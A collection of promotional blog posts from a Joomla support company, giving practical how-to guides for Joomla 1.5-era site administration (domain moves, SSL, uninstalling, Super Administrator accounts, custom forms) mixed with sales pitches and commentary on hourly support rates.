We have discussed before the use of Joomla for Law Firms: How Joomla is used in a law firm environment, what are the basic features for a Joomla website in such an environment, and what are the extra features that some users ask for. We will discuss today Joomla websites in a university environment.

In our decade of Joomla (previously Mambo) work, we have installed, customized, and secured Joomla for many universities. We have seen what are the features that these universities ask for, what are the issues that they were facing with Joomla, and what is their level of satisfaction with this CMS:

What are the features that universities ask for from a Joomla website?

Following are the common features that are asked for by almost all universities from a Joomla website:

  • Moodle integration: If we had a penny everytime we are asked to integrate moodle with a Joomla website, we’d be ultra rich. Moodle is really hot in a university environment (we will write a separate post on how to integrate moodle with Joomla), and we are always asked to integrate it.
  • Securing the website: Nearly all universities that come to us with a Joomla job ask us to secure their website. The things to check for are the following 1) SQL injection, 2) XSS vulnerabilities, and 3) Permission issues. We usually accomplish this using Acunetix (note: we have written about Acunetix and Joomla before).

  • Social network integration: Currently, all universities are trying to appeal to their students by integrating social features into their websites. For example, the adding of the “Like” button and the integration of Facebook Login. We usually integrate social networks by either writing our own extensions or integrating 3rd party extensions depending on the university’s needs.

  • Mobile version: We think that in the near future, most of the traffic coming to any website will be mobile traffic (e.g. traffic coming from a mobile phone), universities share this prediction with us, and most of them ask us to ensure that their Joomla website has a mobile version as well, and that this mobile version can work perfectly on all 3 main platforms: iPhones, Android phones, and Blackberry phones.

  • Document management: Nearly every university asks to integrate a Document Management extension with their Joomla website. Docman is a favorite, but we have integrated several other document management extensions as well.

  • Enhanced search functionality: We are often asked to develop an enhanced search functionality. For example, the search results should not only search the pages of the website, but also the documents that are uploaded to the website.

Additionally, some universities ask us to integrate APIs having to do with communicating with their students and/or their staff (for example, sending them SMS when a special activity is announced). We have also been asked, several times, to integrate payment processing into some of the websites

What were the issues that universities were facing with Joomla?

One of the top issues that we saw universities facing with Joomla (and coming to us to fix it) is speed, this is because their websites handle a lot of visitors per day and are usually loaded with “heavy” features (that will slow them down even further). We solve the problem and make their Joomla websites faster by analyzing the root causes of the slowness and by devising solutions that counter this slowness (such as caching, optimizing code, or even recommending a faster server).

The other top issue that is of concern to universities using Joomla for their websites is security. Joomla, in and for itself, is secure, but quite often the 3rd party extensions are not. Since we are the Joomla security experts, we fix all the security issues with each and every website, and then we run a 3rd party scan (that sometimes takes 2 days) to check that the website that we have secured is officially secure.

What do universities think of Joomla?

Since we have worked with many universities on their Joomla websites, we can transparently transmit their feedback about Joomla:

  • They think Joomla is efficient and powerful. They just can’t believe how much can be achieved with so little time.
  • They think Joomla becomes easier the more they work on it.
  • They think that they can do anything with their Joomla website (from accepting payments, to allowing students to register courses, to integrating social networks).
  • They have no plans of changing to another CMS/platform, mainly because they’re very happy with Joomla.

We can’t think of anything negative that universities said about Joomla; as stated above, all seem to be pretty satisfied with it (so we can say, with confidence, that the level of satisfaction with their Joomla websites is high).

If you are a university that wants to use Joomla or is already using Joomla and wants to secure it/speed it up/add some features, then go ahead and contact us. We’re here to help, and we even have a 24/7/365 Joomla emergency service, so you’re never left on your own!

How To Remove the Article Information in Joomla?

Sometimes, you don’t want to show some or all of the article’s information (such as the creation date or the author name) in Joomla. This article will explain to you, in details, how to remove some or all of the article’s information from a specific article or from all articles.

If you want to remove the article information from a specific article:

Figure 1: Parameters for a Single Article

Figure 1: Parameters for a Single Article

  • Login to your Joomla administrator control panel by going to http://www.yourdomainname.com/administrator/index.php (of course you should change yourdomainname.com to your actual domain name).
  • Go to Content -> Article Manager (Click on “Content” on the upper horizontal men and then click on “Article Manager”).
  • Click on the name of the article that you want to hide the information for.
  • Once the article is open in edit mode, then click on “Parameters (Advanced)” on the right.
  • If you want to hide the Author Name then choose “Hide” from the drop down menu next to “Author Name” under the “Parameters” section.
  • The same goes for the Creation Date and the Modified Date.
  • Click on “Save” on the top right.

If you want to remove the article information from all articles:

Global Parameters

Figure 2: Global Parameters

  • Login to your Joomla administrator control panel by going to http://www.yourdomainname.com/administrator/index.php.
  • Go to Content -> Article Manager.
  • Click on “Parameters” on the top right.
  • Choose “Hide” next to “Author Name” if you want to hide the name of the author, for example. The same goes for the rest of the parameters.
  • Click on “Save” on the popup window.

If you need help doing the above, then, as usual, you can contact us, and we will be more than glad to offer you very friendly assistance.

Note: This is for Joomla 1.5, but the above instructions can also work for Joomla 1.6 or Joomla 1.7.

How to Uninstall Joomla

If you’re reading this article because you want to reinstall Joomla, then check this article on how to reinstall Joomla.

Sometimes you may wish to just uninstall Joomla from your server for one of the following reasons:

  • You want to move your Joomla website to another server and you wish to remove all the information pertaining to this website with your current host.
  • Your initial installation was faulty and you want to redo everything from scratch.
  • You just want to get rid of your Joomla website!

Well, the process is fairly simple, here’s how you can do it:

  • Login to your website’s FTP, and delete all the Joomla folders and files. Make sure you don’t delete folders that do not belong to your Joomla website. This process may take a long time if you have a lot of extensions installed and/or a lot of images/files in your website.
  • Go to phpMyAdmin, and drop the database that contains the data of your Joomla website. Make sure you don’t drop a shared database (a database that is shared by different websites, where the only difference is the table prefix).

  • Go to the “Cron Jobs” page (or Cron Manager) in your cPanel and remove all crons associated with your Joomla website.

  • That’s it!

If you need help uninstalling your Joomla website, or if you think that the process is intimidating, then we’re here to help. Just contact us and we’ll do it for you.

Tips

  • If you’re afraid of doing the process, then don’t do it, and ask for help by Joomla professionals (such as, ahem, us!). Remember, if something can go wrong then it’ll definitely go wrong!
  • If you’re unsure about a file or a directory, then don’t delete it, and, again, ask for help by Joomla professionals.
  • This process will not remove email accounts pertaining to your Joomla domain.

How to Move a Joomla Website to Another Domain

Quite often, some site owners realize that the domain name they picked and used for their Joomla website doesn’t cut it anymore, so they decide to change it and move their Joomla website to another (better) domain. In this guide, we provide step-by-step instructions on how to do that:

Step 1 – Move your Joomla website to another server: We have already discussed that before so we won’t discuss it here again. Just make sure you don’t delete any files/data from the old website until your Joomla website is fully moved and tested.

Step 2 – Replace all links in your website pointing to the old domain with equivalent links pointing to the new domain: Frequently when you write an article in Joomla, you tend to link to another article on your website – which is a good practice. However, when you decide to move to another domain, you will have to update these links to point to the new domain. This can be done in two ways:

  • The slow and inefficient way: Where you will have to edit each article and update the links manually. This is OK if you have a few articles with links to your website in them, but when you have more, this can become a very tedious and long task (not to mention that it’s possible for you to forget about some links to your previous website, which will make the thing very messy).
  • The fast and efficient way: You can just update all the links with a simple REPLACE query issued on your jos_content table. Here’s the replace query:

    UPDATE jos_content SET introtext =REPLACE(introtext, 'http://www.yourolddomain.com', 'http://www.yournewdomain.com'), fulltext =REPLACE(fulltext, 'http://www.yourolddomain.com', 'http://www.yournewdomain.com');

Step 3 – Tell search engines that you changed your domain

It is very normal that search engines (especially Google) will maintain an index of your old website and still point to it in their search queries. You need to tell Google (and other search engines) about the change, and the way to do it is to add the following code to your .htaccess file for your old domain:

Options +FollowSymLinks
RewriteEngine on
RewriteRule (.*) http://www.yournewdomain.com/$1 [R=301,L]

You’re done!

If you’re having problems moving your Joomla website from one domain to another, then go ahead and contact us! We’re always here to help!

How to Protect a Page with a Password in Joomla?

Sometimes you have an important page that you don’t want every visitor to your website to have access to. The first thing that comes to your mind is to make this page only accessible by members, but you then realize that you don’t want all your members to have access to this page. Just a few members. So you need an extra level of security on that page. That extra level of security means protecting the page with a password.

So, how do you protect a Joomla article (or any other page for that matter) with a password?

Well, there are two ways: An easy, non technical way, and a not-so easy, and somehow technical way:

The easy way:

  • Download the Joomla plugin called “ContentPassword” from here.
  • Install it by logging in to your Joomla admin, and clicking on Extensions->Install/Uninstall, and then choosing the plugin from your hard drive and installing it.
  • Follow the instructions to protect your articles.

The hard way:

  • Download Jumi (a Joomla extension that will let you embed PHP code into your articles)
  • Create a Jumi module that will redirect the visitor to a PHP form on your website asking for a password. Once the user enters the password, then see if the password matches the one in your Jumi code. If it doesn’t, then ask for the password again, if it does, then store a “logged-in” state in the session and redirect back to the page (Your Jumi should no longer block the page since the user has entered the correct password).
  • Add the Jumi module to the article that you wish to protect.
  • Create other Jumis if you want to password-protect pages with different passwords.

It’s obvious to see that the first way of doing it is much more elegant than the second way, but for your convenience, we just listed both anyway.

If you need help protecting your Joomla pages with a password, then feel free to contact us. We’re always ready to help, and our customers love us!

Number of Websites Powered by Joomla

We know it, you’re here because either you’re a Joomla fan who wants to know how many websites are powered by Joomla to prove a point to your manager, or you’re a business owner/technical manager who’s deciding whether to use or Joomla or not (you want to know if there is a lot of websites that are using Joomla before making your decision).

Well, let’s calculate this number together. As of October 2011, there are over 500,000,000 websites1 and 202 million domain names2 3 in the whole world. According to Wikipedia and Joomla’s official download website, Joomla has been dowloaded around 23 millions times so far. Assuming that the conversion rate between download and installation is 10% (so for each 10 downloads there is a real deployment for a website), then the number of Joomla websites is 2.3 million websites. Since virtually all Joomla websites consist of domains, then the number of domains powered by Joomla is around 2 million domains.

To sum it up, 0.46% of all the websites in the world are powered by Joomla, and 0.99% of all the domains in the world are powered by Joomla, which makes Joomla one the most used CMSs in the whole world. So, if you’re reading this post just to make sure that you’re picking something that is used by someone else other than you, then rest assured, it is used by at least 2.3 other million individuals/companies. Now if you made your decision and you need assistance starting your Joomla website, then we’re always here to help!

1According to netcraft – see: http://news.netcraft.com/archives/2011/10/06/october-2011-web-server-survey.html
2According to pingdom – see: http://royal.pingdom.com/2011/01/12/internet-2010-in-numbers/
3The number of websites is not the same as the number of domains, since one or more websites can exist under the same domain. For example, code.google.com is a different website than earth.google.com, but both fall under the same domain name.

Is There a Joomla Customer Service Phone Number?

First time clients often ask us (during their first call) the following question: “Is there a Joomla Customer Service Number I can call?” Our answer is always as follows: “Since Joomla is free, then there is no official phone number that you can call to get support”.

Joomla support is usually handled by third party companies, such as itoctopus. The Joomla team is only responsible for fixing bugs and updating the Joomla software, they don’t fix individual websites and they don’t answer questions pertaining to the installation/maintenance of a Joomla instance on a specific website.

How come, you may ask?

Well, 1% of the world’s websites are powered by Joomla, and there are only a dozen or so developers working on the software. Imagine the amount of work that they will have if they start supporting each and every website, not to mention, that this work will be expected for free (because Joomla is free).

So who should you call for support in case your run into problems with your Joomla website?

Well, you can call us! We are trusted by our clients (who range from individuals to financial institutions), we are experts in Joomla, and we are very friendly. Not to mention, of course, that we have a 24/7/365 Joomla hotline in case of an emergency. If you don’t want to work with us (for one reason or the other), then your best option is to find another Joomla company that will help you. Here are the questions that you should ask before dealing with a Joomla support company:

  • How long have you been in business?

    Avoid companies that started yesterday – these companies may vanish into thin air tomorrow.

  • Will you be immediately available if I have another problem with my website?

    A company that takes your business seriously should always be instantly available to serve you.

  • Can I call you at 2 AM in the morning?

    Many websites experience problems during off hours – you should ensure that this company will take care of your website even in non-working hours.

  • Will I have to pay money if you were not able to fix the problem?

    Obviously you shouldn’t pay any money if they didn’t get the work done.

  • What will you do with my website credentials once you have finished the work?

    They should answer immediately that they will destroy them. If they hesitate this means that they usually leave them in their inbox, or worse, printed and thrown on a table somewhere, maybe in the conference room!

  • Can I rely on you?

    If we had a dime every time a client comes to us and tells us that the company/individual he was working with left him on his own, we’d have a fortune. Ensure that you will be dealing with a company that will not leave you on your own in the middle of the road.

Other questions to ask (this time for yourself): Do they look like they are easy to work with? Do they seem to be experts in Joomla? Will they help me achieve my goals?

So, again, there is no Joomla Customer Support Number, but there are many commercial companies that are willing to help you, you just need to make sure you’re dealing with the right people!

How to Reinstall Joomla

Sometimes, people experiment with some of their Joomla core files and/or with non-content tables in the Joomla database to the point that their websites become inoperable. The easy (well sometimes it’s not very easy) solution at this point is to reinstall Joomla from scratch. But how do you do that?

Well, here are the steps to reinstall Joomla so that you can have again, a fresh Joomla install:

  1. Backup your website and your database. We’ve already explained this before.
  2. Download the same version of Joomla that you have. Go to Joomla’s official website and download the installation files for the exact same version of Joomla that you have.

  3. Rename the directory containing your current Joomla website. Login to your FTP account and rename the directory that contains your current Joomla website to another name, for example, from mydomain.com to mydomainold.com.

  4. Re-create your old directory. Again, login to FTP and create the mydomain.com folder.

  5. Upload a fresh copy of Joomla. Upload the new Joomla copy to the mydomain.com folder.

  6. Run the Joomla installer. Ensure that you choose another database for your Joomla website.

  7. Re-download and re-install all the extensions that you previously had on your website. Note that if you had to reinstall Joomla because of an extension that you installed lately, then avoid this extension.

  8. Copy non-system content from your old database to your new database. Non system-content is user-generated content, for example, articles, polls, etc…

  9. Re-download and reinstall the template that you were using before. Even if you have modified the template, all you need to do is copy the template from the mydomainold.com folder to the mydomain.com folder.

  10. Copy user created files to your new website. Copy all the user uploaded files (including media files) from the em>mydomainold.com folder to the mydomain.com folder.

  11. You’re done. That’s it, you have finished reinstalling your Joomla website! Try to run the website!

As you can see from the above, the process can be a bit complicated especially when you don’t have some system administration experience (not to mention that the moving of the data from one database to the other can be tricky). In this case, we advise you to hire a system administrator to do the above steps or, even better, to contact us. If you do contact us, then we’ll do the whole process for you while ensuring that all your data is preserved and transferred to your new Joomla installation.

Warnings:

  • Most of the other online references listing the steps on how to reinstall Joomla are wrong. Not only they are wrong, they are dangerous, as they ignore the fact that the user has already data on his website, and that he needs to keep this data.
  • If you have had a programmer change your core Joomla files previously then stop and don’t do the above steps. You will lose all your changes. We recommend that you contact us in order to make the reinstallation smooth, or maybe fix the problems that resulted in you wanting to reinstall your Joomla website.

Is Joomla Free?

We often get the following call:

Customer: “Hi”
We: “Hi there, how can we serve you?”
Customer: “I was told that Joomla is an excellent CMS and I want to use it, but I want to know first if it’s free or not”
We: “It’s free sir!”

Then the conversation goes on, and we are asked more questions, such as “Why is it free?”, and “What’s in it for those who developed Joomla”, etc…

So, to officially answer the main question of this post, and in layman terms, Joomla is free. However, in technical terms, Joomla is licensed to be used for free, so you do not own Joomla as a product, but you have a license to use Joomla for your website for free, since Joomla is released under the GNU General Public License. A GNU GPL grants you the permission to use/modify the Joomla software for free, but if you want to release the software to the public after modifying it, then you should release it under the same license, and you should also leave the credits in the source code at all time. Let us stress the point that the software is free and must remain free, and not your website, which means that even if you’re using Joomla, your website doesn’t necessarily have to be free (which means you can charge your visitors money for just visiting your website or reading your content if you want – it’s your website, after all).

Now, why is Joomla free?

Joomla is free because it was forked out of Mambo, which was also a free CMS. But why was Mambo a free CMS? Well, because the developers behind it believed in open source and its centric contribution to the information age (and so do current Joomla creators).

But what’s in it for those who created Joomla

As stated above, Joomla creators believe in open source, so there’s a sense of satisfaction because they are giving back to the community. However, the benefits for being part of this project are not only moral… Imagine that you’re someone who worked on Joomla, a CMS platform that powers over 1% of all the websites in the world, imagine the amount of consultancy work you will have… Also imagine the prestige and the industry recognition that will be bestowed upon you. So it’s really worth it for the Joomla creators.

Now if you want to know whether Joomla is free or not because you want to install it, and if you need help installing it, then you can contact us. We’re here to help 24/7/365 (well, 366 if it’s a leap year!).

How to Remove “Powered by Joomla!” Footer?

Many of our clients come to us and ask the following 2 questions:

  1. Is it legal to remove the “Powered by Joomla!” message in the footer?
  2. If it’s legal, then how can we remove it?

To answer the first question, yes it’s perfectly legal to do so. However, it is not legal to remove the information that states that your website is powered by Joomla from the PHP source code, such as the following one:

# Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
# License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php

To answer the second question, removing the “Powered by Joomla!” message is very easy as of Joomla 1.5, and here’s how to do it:

– Open the file en-GB.mod_footer.ini located under the /yourjoomlafolder/language/en_GB folder
– Locate the following line:
FOOTER_LINE2=<a href="http://www.joomla.org">Joomla!</a> is Free Software released under the <a href="http://www.gnu.org/licenses/gpl-2.0.html">GNU/GPL License.</a>
– Change it to:
FOOTER_LINE2=The HTML of your choice

That’s it!

The steps above are tested many times and should work, but if you’re having difficulty removing the “Powered by Joomla!” message from the footer of your website, then feel free to contact us, and we’ll be more than glad to help you!

How to Enable SSL on a Joomla 1.5 Website

In this article we are assuming that you have already purchased an SSL and you have installed it on your website, and all that is left for you to do is to enable it. If you need help purchasing and installing an SSL certificate on your Joomla website, then please contact us, we will definitely help you!

Listed below are the steps to enable SSL on your entire website, your administrator’s backend, and your VirtuMart shopping cart…

Enabling SSL on all of your Joomla website

The below steps will enable SSL for your entire website, so whenever someone clicks on a link it goes to https:// instead of http://

  1. Login to your website as a Super Administrator
  2. Mouse hover on “Site” on the top left
  3. Click on “Global Configuration”
  4. Click on “Server”
  5. Change the drop down box next to the field “Force SSL” from “None” to “Entire Site”.
  6. Click on “Save” on the top right

Enabling SSL for only your Administrator’s backend

When you enable SSL on your entire website, you will also enable it on your Administrator’s backend, but what if you only want to enable SSL on your administrator’s backend, leaving the rest of the website accessible through http://?

In order to do so, you have to do steps 1 to 4 above, and then choose “Administrator” from the drop down field next to “Force SSL”, and then click on “Save” on the top right.

Enabling SSL for VirtueMart

We believe that you don’t have to enable SSL for all of your website (unless your run an ultra-secure website – think about it this way, even Google does not use https:// for places that do not require you to login), just your administrator’s backend and your frontend shopping cart checkout page (if you have a shopping cart installed). Since VirtueMart is by far the most used shopping cart on Joomla, we decided to list the necessary steps on how to enable SSL for VirtueMart (if you’re using another shopping cart then we can also help you, just contact us!):

  1. Login to your website as a Super Administrator
  2. Mouse hover on “Components” on the top left
  3. Click on “VirtueMart”
  4. Click on “Configuration” in the middle of the screen
  5. Click on “Main”
  6. Choose “Yes” for “Force SSL on Checkout”
  7. Click on “Save” on the top right

Some caveats

  1. Make sure that your SSL is installed correctly if you’re having problems.
  2. If you are sure that your SSL is correctly installed, and you are having errors such as “this page contains secure and non-secure items”, then it might be that you have absolute (hard-coded) http:// links in your content. You need to change those links to https://.
  3. Again, if you’re still having problems, then it might be that your SSL certificate is installed for https://yourdomain.com and not https://www.yourdomain.com (or vice versa). If you need to use both then you need to buy and install a wildcard certificate. Otherwise you need to redirect the traffic (using .htaccess) from https://www.yourdomain.com to https://yourdomain.com (or vice versa).

Note that the above article was written for Joomla 1.5, but is easily applicable for Joomla 1.6 and Joomla 1.7.

How to Create a Super Administrator User on Joomla?

From our experience, we know that there are some misconceptions about the Joomla Super Administrator user:

  1. You can only have one Super Administrator user per Joomla website.
  2. You can not delete the Super Administrator user that was originally created.
  3. There is no interface for adding Super Administrators (this is a corollary to the point #1 above)

Now let us start debunking the above myths by saying that you can definitely have more than one Super Administrator on a Joomla website. In fact, you can have as many as you like. You can also delete the Super Administrator user that was created during the installation process by just logging as a Super Administrator, clicking on “User Manager” in the initial control panel, and then clicking on the checkbox next to the name of the administrator you wish to delete, and then clicking on “Delete” above. Note that you must have at least one Super Administrator left (after the deletion process) for the delete to work. So, if you have just one Super Administrator in your Joomla website, then you cannot delete it (Think about it – how will you be able to login as Super Administrator or create a Super Administrator if you have deleted them all?).

As for adding new Super Administrators, then here’s how you do it:

  • Login to your Joomla website as a Super Administrator.
  • Click on “User Manager” in the welcome screen.
  • Click on “New” in the top right.
  • Fill in the information, and choose Super Administrator as a Group.
  • Click on Save in the top right.

You can also change an existing user to become a Super Administrator, just click on the name of the user when you are in the User Manager page, and then choose Super Administrator, and then click on Save in the top right.

Always remember that only Super Administrators can create Super Administrators.

If you need help doing the above, or if you want, for example, to allow users to have multiple roles on your website (such as Publishers on the public front-end and Administrators on the back-end) then feel free to contact us as we can definitely help you!

Note: This post was written based on Joomla 1.5’s interface. You can still do the above on Joomla 1.6/1.7, but the interface may slightly differ.

What Are the Joomla Hourly Support Rates?

Although it is published on our fees page, some new clients ask us about our Joomla Hourly Support rates, thinking that our published rates are only for established clients. We would like to clarify this for all our prospective clients, we currently don’t have maintenance clients (clients who pay a monthly fee and will get a number of free support hours and a preferred rate for our consulting services), so our rate of $75/hour is for everyone – old clients and new clients.

Now how do we compare to the market and what is the average Joomla hourly rate?

We know that this is the Internet and we’re not alone, and there’s a lot of competition, especially in our industry. We have seen hourly rates ranging from $15/hour to about $150/hour.

We did our investigation and here’s what we found out about these rates:

  • $15/hour rates: These rates are offered by either individuals working in developing countries or by non-established companies also operating from developing countries. Either way you will run into the following problems:
    • Cheap labor: Cheap labor is always associated with cheap quality. Think about it this way, why should you charge $15/hour when others are charging $150/hour.
    • Communication issues: You will get stuck with programmers who don’t understand what you want. There’s also another thing, you are often stuck with inconvenient communication means.
    • Different timezones: You have to wake up either very early or sleep very late to be able to talk to the programmers (that is, if you can talk to them).
    • Scams: Some (if not most) of these companies/individuals ask you to pay either the full amount or a substantial part of the amount at the beginning of the project, and then either vanish into thin air or will give you only a part of what you want done.
    • No money back guarantee: When these companies take your money, they will take it, meaning that you will never see it back, even if they didn’t do the work, even if you don’t like the work, and even if the work is incomplete.
    • Security issues: These programmers won’t take good care of neither your website/CPanel credentials and nor your website security as a whole.
    • Hourly productivity is very low: When you pay $15 an hour, you should think that you are really paying at least $100/hour – this is because a day of productivity by programmers being charged at this rate is really equivalent to a maximum of 2 hours of real productivity.
  • $50/hour rates: These rates are offered by either established individuals or companies, who are also located overseas. By established we mean that the individual/company has been in business for a few years and has gathered some clients. The quality is still not that good when you go for this rate, and while hourly productivity is higher than the $15/hour rate, it still comes up to around the same thing (so you will be really paying $100/hour after all). You will also be faced by “hidden fees” (such as project management fees) and communication issues. Not to mention, of course, that programmers at this rate will not try to ensure that their code is secure.

  • $75/hour rates: These rates are the optimal rates and are typically offered by North American companies where individuals who understand your language work. Usually you will not pay any hidden fees, the quality is excellent, your website’s security is prioritized (mainly because you are dealing with Joomla security experts), and you will be guaranteed to pay the same amount of money even if the work takes longer. itoctopus goes beyond that by only asking for payment when you think the work is done and following-up with you after the work is completed.

  • $150/hour rates: We have noticed that these rates are charged by individuals (not companies) who have decided to charge double the fair rate because they always have a lot of work to do (not only that, some of these individuals also have a full-time job!). Now although these individuals are great programmers, you will end up having low quality and non-secure work because they simply have too much work and they need to accommodate everyone. Additionally, you are not able to communicate with these individuals once they think that the work is done. Finally, these programmers always make you feel that you are at their mercy and don’t appreciate you as a client.

As you can see from the above, the average hourly rate for Joomla support is around $75, and this exactly what we, at itoctopus, charge (and what we think a Joomla website owner should be paying to get excellent Joomla work). Our clients are always happy with our work and we only invoice them once the work is actually done. If you have a Joomla website and you need support, then why not contact us. We really want to work with you and help you achieve your goals with your Joomla website!

Strict Standards Error in Joomla

We had an interesting case a couple of days ago, one of our clients came to us and told us that while installing Joomla on a new server, he got the following error (multiple times):

Strict Standards: Accessing static property JCache::$_handler as non static in /web/vhosts/ourclientsdomainname.com/libraries/joomla/cache.php on line 420

It was not the first time that we saw this error (we saw it in some generic PHP code), but it was the first time we have seen it when someone was installing Joomla. So, what is this error about and how can someone go about fixing it?

First, it’s not really an error, it’s just a notice because apparently the PHP installation is using strict standards. So, in php.ini the strict standards are enabled. This is actually a good thing and it enforces some good coding practices, however, enabling strict standards can often result in problems in some legacy code.

So how can someone fix this problem?

Well, there are two ways, the hard way and the easy way. The hard way consists of someone actually going through the code and fixing each line of the code that has a problem, which is not recommended.

The easy way is to just change the warning level on the Joomla application to suppress the notices by adding the following lines to your index.php (both in the root of your website and in the administrator folder):

error_reporting(E_ALL & ~E_NOTICE);

The above line will show all errors (including warnings) with the exception of notices (again, a notice is not really an error, but from PHP’s perspective, it is).

Another easy way of doing this is changing the php.ini file, by searching for the error_reporting constant, and changing its value to E_ALL & ~E_NOTICE. So the line will be the following:

error_reporting = E_ALL & ~E_NOTICE;

If you are trying to do the above but it’s not working for you, then, as always, you can contact us, and we’ll definitely help you!

Running Multiple Websites on a Single Joomla Installation

In some rare cases, you may want to run two (or more) different websites on a single Joomla installation, so you will have different databases but same filesystem. The reason for doing so is to maintain just one Joomla installation (e.g. upgrade, secure, host, etc…) instead of two ore more. At first glance, this seems to be impossible, but for those who are experts in Joomla, it’s feasible. We are fortunate enough that we had this request several times before, and here’s how we accommodated it:

  • We copy the all the tables, and then we duplicate them in the same database with a different alias, for example, we use jos2_ instead of jos_ as the table alias for the new tables.
  • – We modify a few Joomla settings in the database (in the new created tables) based on the client’s request (for example, changing the title of the website, etc…)

  • We duplicate the configuration file. The new configuration file will be an exact copy of the original configuration.php file but with the small difference that instead of using jos_ as a table prefix it will be using jos2_ as the table prefix. We also modify the $sitename parameter, and optionally the $log_path and the $tmp_path parameters.
  • We get the current website using the $_SERVER[‘HTTP_HOST’] defined variable.
  • We modify the file /includes/framework.php and /administrator/includes/framework.php to point to the right configuration file based on the current website.

That’s it! Yes, it’s not impossible, but it’s very delicate and can take some time for testing and for ensuring that everything’s OK. Note, for changing the template, the user can login to a website and change the template, and that change will not affect the template of another website.

In case you are running into problems doing the above, then feel free to contact us, we are, as always, eager to help, and our fees are very reasonable…

How to Work on Your Joomla Website Offline?

At one point or the other, you may want to do some major work on your website without jeopardizing your online presence. Obviously, you can’t work on your live Joomla website, you have to work on another copy of your website and then upload it back once all the work is done. There are two ways of doing this:

  • Make a copy of your Joomla website on another directory/server and work on it there, and upload it back (data and files) once you’re done.
  • Download the Joomla website to your PC, work on it there, and then upload it back to your website.

We have explained how to move your Joomla website to another server before, so the first step is obvious. However, what if you want to work on it on a weekend, in your distant a cottage where there is no Internet connection, what will you do? In this case, your best bet is to go with the second option. However, you need to ensure you do the following in order for you to be able to work this way (Note that the below assumes that are using a Windows machine. If you have a Mac, the instructions may be similar, but not exactly the same. If you have a Linux based machine, then most likely you don’t need to read this post in the first place, you know how to do this yourself!):

  1. Install Apache for Windows on your machine. Just follow the instructions here.
  2. Install PHP for Windows on your machine. Again, you only have to follow the instructions, this time here.
  3. Install MySQL for Windows on your machine. The installation (and the download) instructions can be found here.
  4. Configure PHP to work with Apache. Normally, this will be done automatically for you by the PHP installer.
  5. Install phpMyAdmin for Windows. You can download it from here. You will then have to configure it to work with your MySQL installation.
  6. Download your website (both the files and the database).
  7. Unzip your website into your local webroot, and then import your website’s database into your local phpMyAdmin.
  8. Change the configuration file of your website to make it work on Windows (make sure you backup the old one first). The changes will mainly be related to the directory structure, for example: c:\Apache\webroot\websitename instead of /web/vhosts/websitename.
  9. Access your website by going to http://127.0.01/mywebsite and your administrator’s backend by going to http://127.0.0.1/mywebsite/administrator .
  10. Make your changes.
  11. Once you’re done with your changes, then you need to backup your files (from your local server, in other words, your machine) as well as your database (by going to your local phpMyAdmin and exporting the database)
  12. Delete all the files on your current online website and drop your online database. Note that this step will result in a downtime until the next step is completed.
  13. Upload your website and import your database (that you backed up in step #11) to your real server.

Notes:

  • Some (poorly written) extensions don’t work well under Windows, this is because the programmers who developed these extensions did not take Windows directory structure into consideration.
  • Make sure you don’t overwrite your .htaccess file that is on your real website’s server.
  • Some features, such as FTP, will need an additional server (FTP server) to work on your Windows machine.
  • If you wish to omit downtime (well, there will still be a downtime but only for a few seconds) then you need to skip the last two steps in the guide above, and do the following
    • Create another folder on the real server
    • Upload the new website there
    • Create a new database on the real server
    • Import your new database there
    • Rename your old database to something like database_old
    • Rename your new database to the name of the old database
    • Rename the folder of your old website (for example mywebsite should be called mywebsiteold)
    • Rename the folder of your new website to the old name of your old website (for example mywebsitenew should be called mywebsite)

If you need help doing the above, then feel free to contact us, we can help you install and work on your Joomla website offline either by guiding you on the phone or through Skype. As usual, we are always eager to help you!

How to Create a Custom Form in Joomla?

Custom (or dynamic) forms are forms that website owners can create themselves. Website owners usually need custom forms to create the following types of forms:

  • RSVP forms
  • Quotation/inquiry forms
  • “Tell us about you” forms
  • etc…

Unfortunately, Joomla, by default, does not offer administrators the flexibility to create their own custom forms, so what is the way to have a custom form on Joomla?

Well, fortunately, there are several ways to do so:

  • Install a Joomla extension that allows you to create custom forms. Unfortunately, all the Joomla extensions that we have installed for our clients suffer from vulnerability issues (XSS and SQL injection – which can result in the hacking of the Joomla website) so we had to secure these extensions after installing them. It usually takes us 1 day to install a custom form extension and half a day to secure it.
  • Ask a company to create a custom form extension especially for you. We are proud to say that we developed a custom form extension but we tend to customize it for every client to fit their individual needs. Our custom form extension is secure, and all your data will be saved securely on your server. This is a week’s work.

  • Ask a company to create the form itself. We also have done this. In case you don’t want to create many custom forms, and you only need to create one (without any changes to the form later on – in other words a static form) then we can create this form for you. This way you will have a form matching exactly your needs. The form will be filled by your visitors and you will receive an email containing all the details once someone fills in the form and you may optionally see the filled-in information in the backend of your website). This option will take us 2 – 3 day to do it.

  • Integrate a 3rd party custom form by subscribing to a paid service and adding a small JavaScript code to your website. This is probably the easiest solution, and will take us a maximum of 2 hours to finish (once we have the JavaScript code). However, the problem with this option is that the data is not stored on your server, so you have to go another website to see it, and your data will be stored on a shared environment, not to mention, of course, that you don’t know who has access to your stored data (all of these companies claim ultra-security and confidentiality when it comes to storing and handling your data, but you never know…)

In any case, we are always here to help you, so feel free to contact us whenever you want to create your own forms, and we’ll happily and immediately help you!

Can I Use Joomla 1.5 Templates in Joomla 1.6?

We are regularly asked by our Joomla clients whether they can use a Joomla 1.5 template in Joomla 1.6 (or Joomla 1.7, for that matter). Our immediate answer is No, but…

The reason we give this answer is because a Joomla 1.5 template work in Joomla 1.6 (or again, 1.7) is not impossible, but is not straightforward, you just can’t take a Joomla 1.5 template and try to install on a Joomla 1.6 website and expect the process to work. Some curious clients usually ask why isn’t the process straightforward, isn’t it a template after all? Well, yes it’s a template, but a template made for a different system (it’s like trying to play a VHS movie in a DVD player)…

There are some differences between templates made for Joomla 1.5 and templates made for Joomla 1.6, including (but not limited to) the following:

– Major changes in the file templateDetails.xml which includes across the board changes of the number “1.5” to “1.6”, as well as the introduction of the concept of fieldsets and the deprecation of the params tags.
– Several changes to language files.
– Changes to how the $mainframe variable is accessed. In Joomla 1.5, it was accessed from the global pool (global $mainframe;), in Joomla 1.6, it is accessed through the JFactory class ($mainframe = JFactory::getApplication();).

